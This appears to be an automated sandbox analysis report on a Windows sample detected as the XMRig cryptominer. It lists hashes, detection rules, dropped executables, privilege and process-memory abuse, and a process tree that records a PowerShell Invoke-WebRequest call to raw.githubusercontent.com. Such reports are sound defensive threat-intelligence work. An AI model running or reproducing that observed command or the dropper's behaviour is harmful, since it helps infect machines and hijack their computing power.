xmrig | f454795705ff4cea6f3140dad281a4e5bc049efd31477eb7089e3c724cd78495

Analysis

max time kernel
94s
max time network
130s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
31/05/2024, 17:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
Size

2.7MB
MD5

840d02bf44c68b881b1eb45ccd0748e0
SHA1

feb573c7d69b5f93f8d2e4964f3cbfd604cd83a1
SHA256

f454795705ff4cea6f3140dad281a4e5bc049efd31477eb7089e3c724cd78495
SHA512

101ff6f46e5527299c35c437a13efe4b092e7216ef02393b1eaa557b92a534123edcd2bd6b1a46196693bcfb73ce04af0c0468714643b233fdde3ce202525dc3
SSDEEP

49152:71G1NtyBwTI3ySZbrkXV1etEKLlWUTOfeiRA2R76zHrWax9hMkyW10/wKV7hjSeJ:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R1

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/732-0-0x00007FF7404B0000-0x00007FF7408A6000-memory.dmp	xmrig
behavioral2/files/0x0008000000023429-5.dat	xmrig
behavioral2/memory/4128-9-0x00007FF7893F0000-0x00007FF7897E6000-memory.dmp	xmrig
behavioral2/files/0x000700000002342e-11.dat	xmrig
behavioral2/files/0x000700000002342d-12.dat	xmrig
behavioral2/files/0x000700000002342f-33.dat	xmrig
behavioral2/memory/316-40-0x00007FF6BC720000-0x00007FF6BCB16000-memory.dmp	xmrig
behavioral2/files/0x0007000000023430-39.dat	xmrig
behavioral2/memory/4972-45-0x00007FF6DCAF0000-0x00007FF6DCEE6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023433-44.dat	xmrig
behavioral2/memory/2012-42-0x00007FF738910000-0x00007FF738D06000-memory.dmp	xmrig
behavioral2/memory/552-54-0x00007FF69D950000-0x00007FF69DD46000-memory.dmp	xmrig
behavioral2/files/0x0008000000023431-58.dat	xmrig
behavioral2/memory/3612-55-0x00007FF7E7B90000-0x00007FF7E7F86000-memory.dmp	xmrig
behavioral2/memory/3124-48-0x00007FF604890000-0x00007FF604C86000-memory.dmp	xmrig
behavioral2/files/0x0008000000023432-60.dat	xmrig
behavioral2/memory/4916-64-0x00007FF7F97E0000-0x00007FF7F9BD6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023434-63.dat	xmrig
behavioral2/memory/4704-73-0x00007FF739D00000-0x00007FF73A0F6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023435-74.dat	xmrig
behavioral2/memory/4596-72-0x00007FF79BB20000-0x00007FF79BF16000-memory.dmp	xmrig
behavioral2/files/0x0007000000023436-81.dat	xmrig
behavioral2/files/0x000800000002342a-86.dat	xmrig
behavioral2/files/0x0007000000023437-90.dat	xmrig
behavioral2/files/0x0007000000023438-98.dat	xmrig
behavioral2/memory/3952-95-0x00007FF621B40000-0x00007FF621F36000-memory.dmp	xmrig
behavioral2/memory/5044-88-0x00007FF6DAFC0000-0x00007FF6DB3B6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023439-102.dat	xmrig
behavioral2/memory/464-103-0x00007FF7B3450000-0x00007FF7B3846000-memory.dmp	xmrig
behavioral2/memory/3152-107-0x00007FF7BC230000-0x00007FF7BC626000-memory.dmp	xmrig
behavioral2/files/0x000700000002343b-115.dat	xmrig
behavioral2/files/0x000700000002343d-124.dat	xmrig
behavioral2/files/0x000700000002343a-133.dat	xmrig
behavioral2/files/0x0007000000023440-140.dat	xmrig
behavioral2/files/0x000700000002343e-147.dat	xmrig
behavioral2/memory/4048-157-0x00007FF7B40E0000-0x00007FF7B44D6000-memory.dmp	xmrig
behavioral2/memory/2044-160-0x00007FF6E40D0000-0x00007FF6E44C6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023443-162.dat	xmrig
behavioral2/files/0x0007000000023444-174.dat	xmrig
behavioral2/files/0x0007000000023445-180.dat	xmrig
behavioral2/memory/4740-176-0x00007FF7EE430000-0x00007FF7EE826000-memory.dmp	xmrig
behavioral2/files/0x0007000000023442-172.dat	xmrig
behavioral2/files/0x0007000000023441-171.dat	xmrig
behavioral2/memory/3612-168-0x00007FF7E7B90000-0x00007FF7E7F86000-memory.dmp	xmrig
behavioral2/files/0x0007000000023447-189.dat	xmrig
behavioral2/files/0x000700000002344b-207.dat	xmrig
behavioral2/files/0x0007000000023449-203.dat	xmrig
behavioral2/files/0x000700000002344a-202.dat	xmrig
behavioral2/files/0x0007000000023448-197.dat	xmrig
behavioral2/files/0x0007000000023446-187.dat	xmrig
behavioral2/memory/3124-161-0x00007FF604890000-0x00007FF604C86000-memory.dmp	xmrig
behavioral2/memory/4484-158-0x00007FF73B120000-0x00007FF73B516000-memory.dmp	xmrig
behavioral2/files/0x000700000002343f-152.dat	xmrig
behavioral2/files/0x000700000002343c-143.dat	xmrig
behavioral2/memory/872-142-0x00007FF6B04F0000-0x00007FF6B08E6000-memory.dmp	xmrig
behavioral2/memory/2508-141-0x00007FF6AC3E0000-0x00007FF6AC7D6000-memory.dmp	xmrig
behavioral2/memory/3164-135-0x00007FF69E560000-0x00007FF69E956000-memory.dmp	xmrig
behavioral2/memory/1656-130-0x00007FF653290000-0x00007FF653686000-memory.dmp	xmrig
behavioral2/memory/3732-129-0x00007FF74DC10000-0x00007FF74E006000-memory.dmp	xmrig
behavioral2/memory/4508-111-0x00007FF7F7E30000-0x00007FF7F8226000-memory.dmp	xmrig
behavioral2/memory/732-109-0x00007FF7404B0000-0x00007FF7408A6000-memory.dmp	xmrig
behavioral2/memory/4596-1073-0x00007FF79BB20000-0x00007FF79BF16000-memory.dmp	xmrig
behavioral2/memory/4916-1384-0x00007FF7F97E0000-0x00007FF7F9BD6000-memory.dmp	xmrig
behavioral2/memory/4704-1680-0x00007FF739D00000-0x00007FF73A0F6000-memory.dmp	xmrig

Blocklisted process makes network request 8 IoCs

flow	pid	Process
4	744	powershell.exe
7	744	powershell.exe
16	744	powershell.exe
17	744	powershell.exe
19	744	powershell.exe
28	744	powershell.exe
29	744	powershell.exe
30	744	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
744	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4128	lOlECFS.exe
2012	ESgxwsN.exe
316	niDZhne.exe
4972	TwtLbMR.exe
3124	ulUrgzS.exe
552	ZVzcZSU.exe
3612	PkiooXq.exe
4916	tdGmtIq.exe
4596	kFRTBQA.exe
4704	DLWiHhB.exe
5044	ojUhfyh.exe
3952	TOkeTeC.exe
464	CViCkpq.exe
3152	roEsOwB.exe
4508	ubDMQNY.exe
3732	JkqfNJu.exe
2508	DNFKyzK.exe
1656	sqgQVKm.exe
3164	EeJftte.exe
872	QGDJcGG.exe
2044	UxKBrJj.exe
4048	eNmdKmI.exe
4740	JWPvbHk.exe
4484	BdHBmJx.exe
748	jXskqxJ.exe
4104	wLKhBRP.exe
3584	iZZWidu.exe
4532	jfBEZZC.exe
4472	GFMCvHw.exe
3048	KDNGgrq.exe
2368	ZWlRvRT.exe
2712	qqqxZbl.exe
1956	LytXqSB.exe
2148	EQuCeUH.exe
408	caNXaxF.exe
4496	PChurNV.exe
1908	DUZOFUq.exe
3272	oeRdFOb.exe
2940	JLCIccf.exe
2564	ujhPjkY.exe
3776	mdFcRiD.exe
3736	bLbDKee.exe
3228	hKFmGtG.exe
3644	rSmqMFF.exe
3240	afdqNVu.exe
3976	ezEcRGM.exe
2672	KcMTlho.exe
3536	TWJEtcD.exe
4860	KgPiKes.exe
3084	suvxCrA.exe
1836	lgOCdIu.exe
4260	NASxcGN.exe
376	FvlnKfC.exe
4768	SBpSxAa.exe
1476	krRBrEA.exe
2644	tRxKqxD.exe
4632	MunyEKZ.exe
668	hVwXOmO.exe
2296	MdHkilF.exe
3880	WrPBvPC.exe
412	ChGKLjA.exe
4892	JAQVeGQ.exe
4108	ROIEIrM.exe
4008	DoEYvjt.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/732-0-0x00007FF7404B0000-0x00007FF7408A6000-memory.dmp	upx
behavioral2/files/0x0008000000023429-5.dat	upx
behavioral2/memory/4128-9-0x00007FF7893F0000-0x00007FF7897E6000-memory.dmp	upx
behavioral2/files/0x000700000002342e-11.dat	upx
behavioral2/files/0x000700000002342d-12.dat	upx
behavioral2/files/0x000700000002342f-33.dat	upx
behavioral2/memory/316-40-0x00007FF6BC720000-0x00007FF6BCB16000-memory.dmp	upx
behavioral2/files/0x0007000000023430-39.dat	upx
behavioral2/memory/4972-45-0x00007FF6DCAF0000-0x00007FF6DCEE6000-memory.dmp	upx
behavioral2/files/0x0007000000023433-44.dat	upx
behavioral2/memory/2012-42-0x00007FF738910000-0x00007FF738D06000-memory.dmp	upx
behavioral2/memory/552-54-0x00007FF69D950000-0x00007FF69DD46000-memory.dmp	upx
behavioral2/files/0x0008000000023431-58.dat	upx
behavioral2/memory/3612-55-0x00007FF7E7B90000-0x00007FF7E7F86000-memory.dmp	upx
behavioral2/memory/3124-48-0x00007FF604890000-0x00007FF604C86000-memory.dmp	upx
behavioral2/files/0x0008000000023432-60.dat	upx
behavioral2/memory/4916-64-0x00007FF7F97E0000-0x00007FF7F9BD6000-memory.dmp	upx
behavioral2/files/0x0007000000023434-63.dat	upx
behavioral2/memory/4704-73-0x00007FF739D00000-0x00007FF73A0F6000-memory.dmp	upx
behavioral2/files/0x0007000000023435-74.dat	upx
behavioral2/memory/4596-72-0x00007FF79BB20000-0x00007FF79BF16000-memory.dmp	upx
behavioral2/files/0x0007000000023436-81.dat	upx
behavioral2/files/0x000800000002342a-86.dat	upx
behavioral2/files/0x0007000000023437-90.dat	upx
behavioral2/files/0x0007000000023438-98.dat	upx
behavioral2/memory/3952-95-0x00007FF621B40000-0x00007FF621F36000-memory.dmp	upx
behavioral2/memory/5044-88-0x00007FF6DAFC0000-0x00007FF6DB3B6000-memory.dmp	upx
behavioral2/files/0x0007000000023439-102.dat	upx
behavioral2/memory/464-103-0x00007FF7B3450000-0x00007FF7B3846000-memory.dmp	upx
behavioral2/memory/3152-107-0x00007FF7BC230000-0x00007FF7BC626000-memory.dmp	upx
behavioral2/files/0x000700000002343b-115.dat	upx
behavioral2/files/0x000700000002343d-124.dat	upx
behavioral2/files/0x000700000002343a-133.dat	upx
behavioral2/files/0x0007000000023440-140.dat	upx
behavioral2/files/0x000700000002343e-147.dat	upx
behavioral2/memory/4048-157-0x00007FF7B40E0000-0x00007FF7B44D6000-memory.dmp	upx
behavioral2/memory/2044-160-0x00007FF6E40D0000-0x00007FF6E44C6000-memory.dmp	upx
behavioral2/files/0x0007000000023443-162.dat	upx
behavioral2/files/0x0007000000023444-174.dat	upx
behavioral2/files/0x0007000000023445-180.dat	upx
behavioral2/memory/4740-176-0x00007FF7EE430000-0x00007FF7EE826000-memory.dmp	upx
behavioral2/files/0x0007000000023442-172.dat	upx
behavioral2/files/0x0007000000023441-171.dat	upx
behavioral2/memory/3612-168-0x00007FF7E7B90000-0x00007FF7E7F86000-memory.dmp	upx
behavioral2/files/0x0007000000023447-189.dat	upx
behavioral2/files/0x000700000002344b-207.dat	upx
behavioral2/files/0x0007000000023449-203.dat	upx
behavioral2/files/0x000700000002344a-202.dat	upx
behavioral2/files/0x0007000000023448-197.dat	upx
behavioral2/files/0x0007000000023446-187.dat	upx
behavioral2/memory/3124-161-0x00007FF604890000-0x00007FF604C86000-memory.dmp	upx
behavioral2/memory/4484-158-0x00007FF73B120000-0x00007FF73B516000-memory.dmp	upx
behavioral2/files/0x000700000002343f-152.dat	upx
behavioral2/files/0x000700000002343c-143.dat	upx
behavioral2/memory/872-142-0x00007FF6B04F0000-0x00007FF6B08E6000-memory.dmp	upx
behavioral2/memory/2508-141-0x00007FF6AC3E0000-0x00007FF6AC7D6000-memory.dmp	upx
behavioral2/memory/3164-135-0x00007FF69E560000-0x00007FF69E956000-memory.dmp	upx
behavioral2/memory/1656-130-0x00007FF653290000-0x00007FF653686000-memory.dmp	upx
behavioral2/memory/3732-129-0x00007FF74DC10000-0x00007FF74E006000-memory.dmp	upx
behavioral2/memory/4508-111-0x00007FF7F7E30000-0x00007FF7F8226000-memory.dmp	upx
behavioral2/memory/732-109-0x00007FF7404B0000-0x00007FF7408A6000-memory.dmp	upx
behavioral2/memory/4596-1073-0x00007FF79BB20000-0x00007FF79BF16000-memory.dmp	upx
behavioral2/memory/4916-1384-0x00007FF7F97E0000-0x00007FF7F9BD6000-memory.dmp	upx
behavioral2/memory/4704-1680-0x00007FF739D00000-0x00007FF73A0F6000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
4	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\GLyJeJb.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\TWJEtcD.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\KecTHBu.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\GLiuAHC.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\IcZzKTC.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\dSfJAlm.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\VPqVjaO.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\awKYzAf.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\DLWiHhB.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\PjthYHK.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\dJzhaLJ.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\irLvtWR.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\uUmvqFL.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\KgPiKes.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\LzUGFuv.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\wemXapo.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\JERmDWq.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\eRgCOlO.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\vnBVDKH.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\cWaTWBr.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\VTQsTZU.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\MrhMGdY.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\dowseLB.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\ksNKTOn.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\prkTSRM.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\EYiubAc.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\sSOEfsz.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\LTkFkhb.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\XhakvkM.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\VRuEuyT.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\VbqGcaS.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\bnLNKxk.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\FEFwhHo.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\iyrsrQO.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\iSRdkFd.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\ebLkUwK.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\fiZWHuC.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\JohBdFY.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\WIuZTKa.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\AOPRHfn.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\llHbBzi.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\KefQKCm.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\trcteqP.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\luSGWEO.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\cNaMfCk.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\FpBlCYG.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\YgbfFNl.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\vtjgAqf.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\oeRdFOb.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\BWPksss.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\wTHsukk.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\uNZhoyV.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\NOjPTvI.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\gMioXir.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\GtoIjTZ.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\hVwXOmO.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\vEjnrFw.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\nqNtQsu.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\cDzjxgu.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\JAQVeGQ.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\XjUKtxx.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\QMkVhAG.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\hUgTynI.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
File created	C:\Windows\System\gtqkMUf.exe	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
744	powershell.exe
744	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
Token: SeDebugPrivilege	744	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 732 wrote to memory of 744	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	82
PID 732 wrote to memory of 744	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	82
PID 732 wrote to memory of 4128	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	83
PID 732 wrote to memory of 4128	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	83
PID 732 wrote to memory of 2012	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	84
PID 732 wrote to memory of 2012	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	84
PID 732 wrote to memory of 316	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	85
PID 732 wrote to memory of 316	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	85
PID 732 wrote to memory of 4972	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	86
PID 732 wrote to memory of 4972	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	86
PID 732 wrote to memory of 3124	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	87
PID 732 wrote to memory of 3124	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	87
PID 732 wrote to memory of 552	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	88
PID 732 wrote to memory of 552	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	88
PID 732 wrote to memory of 3612	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	89
PID 732 wrote to memory of 3612	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	89
PID 732 wrote to memory of 4916	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	90
PID 732 wrote to memory of 4916	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	90
PID 732 wrote to memory of 4596	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	91
PID 732 wrote to memory of 4596	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	91
PID 732 wrote to memory of 4704	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	92
PID 732 wrote to memory of 4704	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	92
PID 732 wrote to memory of 5044	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	93
PID 732 wrote to memory of 5044	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	93
PID 732 wrote to memory of 3952	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	94
PID 732 wrote to memory of 3952	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	94
PID 732 wrote to memory of 464	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	95
PID 732 wrote to memory of 464	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	95
PID 732 wrote to memory of 3152	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	96
PID 732 wrote to memory of 3152	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	96
PID 732 wrote to memory of 4508	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	97
PID 732 wrote to memory of 4508	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	97
PID 732 wrote to memory of 3732	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	98
PID 732 wrote to memory of 3732	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	98
PID 732 wrote to memory of 2508	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	99
PID 732 wrote to memory of 2508	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	99
PID 732 wrote to memory of 1656	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	100
PID 732 wrote to memory of 1656	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	100
PID 732 wrote to memory of 3164	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	101
PID 732 wrote to memory of 3164	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	101
PID 732 wrote to memory of 872	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	102
PID 732 wrote to memory of 872	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	102
PID 732 wrote to memory of 2044	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	103
PID 732 wrote to memory of 2044	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	103
PID 732 wrote to memory of 4048	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	104
PID 732 wrote to memory of 4048	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	104
PID 732 wrote to memory of 4740	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	105
PID 732 wrote to memory of 4740	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	105
PID 732 wrote to memory of 4484	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	106
PID 732 wrote to memory of 4484	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	106
PID 732 wrote to memory of 748	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	107
PID 732 wrote to memory of 748	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	107
PID 732 wrote to memory of 4104	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	108
PID 732 wrote to memory of 4104	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	108
PID 732 wrote to memory of 3584	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	109
PID 732 wrote to memory of 3584	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	109
PID 732 wrote to memory of 4532	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	110
PID 732 wrote to memory of 4532	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	110
PID 732 wrote to memory of 4472	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	111
PID 732 wrote to memory of 4472	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	111
PID 732 wrote to memory of 3048	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	112
PID 732 wrote to memory of 3048	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	112
PID 732 wrote to memory of 2368	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	113
PID 732 wrote to memory of 2368	732	840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe	113

C:\Users\Admin\AppData\Local\Temp\840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\840d02bf44c68b881b1eb45ccd0748e0_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:744
- C:\Windows\System\lOlECFS.exe
  C:\Windows\System\lOlECFS.exe
  2⤵
  - Executes dropped EXE
  PID:4128
- C:\Windows\System\ESgxwsN.exe
  C:\Windows\System\ESgxwsN.exe
  2⤵
  - Executes dropped EXE
  PID:2012
- C:\Windows\System\niDZhne.exe
  C:\Windows\System\niDZhne.exe
  2⤵
  - Executes dropped EXE
  PID:316
- C:\Windows\System\TwtLbMR.exe
  C:\Windows\System\TwtLbMR.exe
  2⤵
  - Executes dropped EXE
  PID:4972
- C:\Windows\System\ulUrgzS.exe
  C:\Windows\System\ulUrgzS.exe
  2⤵
  - Executes dropped EXE
  PID:3124
- C:\Windows\System\ZVzcZSU.exe
  C:\Windows\System\ZVzcZSU.exe
  2⤵
  - Executes dropped EXE
  PID:552
- C:\Windows\System\PkiooXq.exe
  C:\Windows\System\PkiooXq.exe
  2⤵
